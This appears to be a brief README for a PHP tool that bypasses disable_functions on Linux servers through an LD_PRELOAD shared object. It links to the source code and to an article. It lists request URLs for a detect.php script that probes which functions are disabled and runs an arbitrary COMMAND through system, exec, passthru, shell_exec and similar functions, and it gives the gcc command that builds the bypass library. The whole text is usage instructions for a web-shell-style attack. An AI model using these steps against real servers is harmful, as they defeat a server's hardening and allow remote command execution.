One PHP file bypass disable_functions with LD_PRELOAD.
Only support Linux.
CODE: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
Paper: https://www.freebuf.com/web/192052.html
Try to bypass disable_functions.
Detect disable_functions:
http://url/detect.php?action=test
Run COMMAND with specified function:
http://url/detect.php?action=[system|exec|passthru|shell_exec|popen|proc_open|ws|sa]&cmd=COMMAND
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so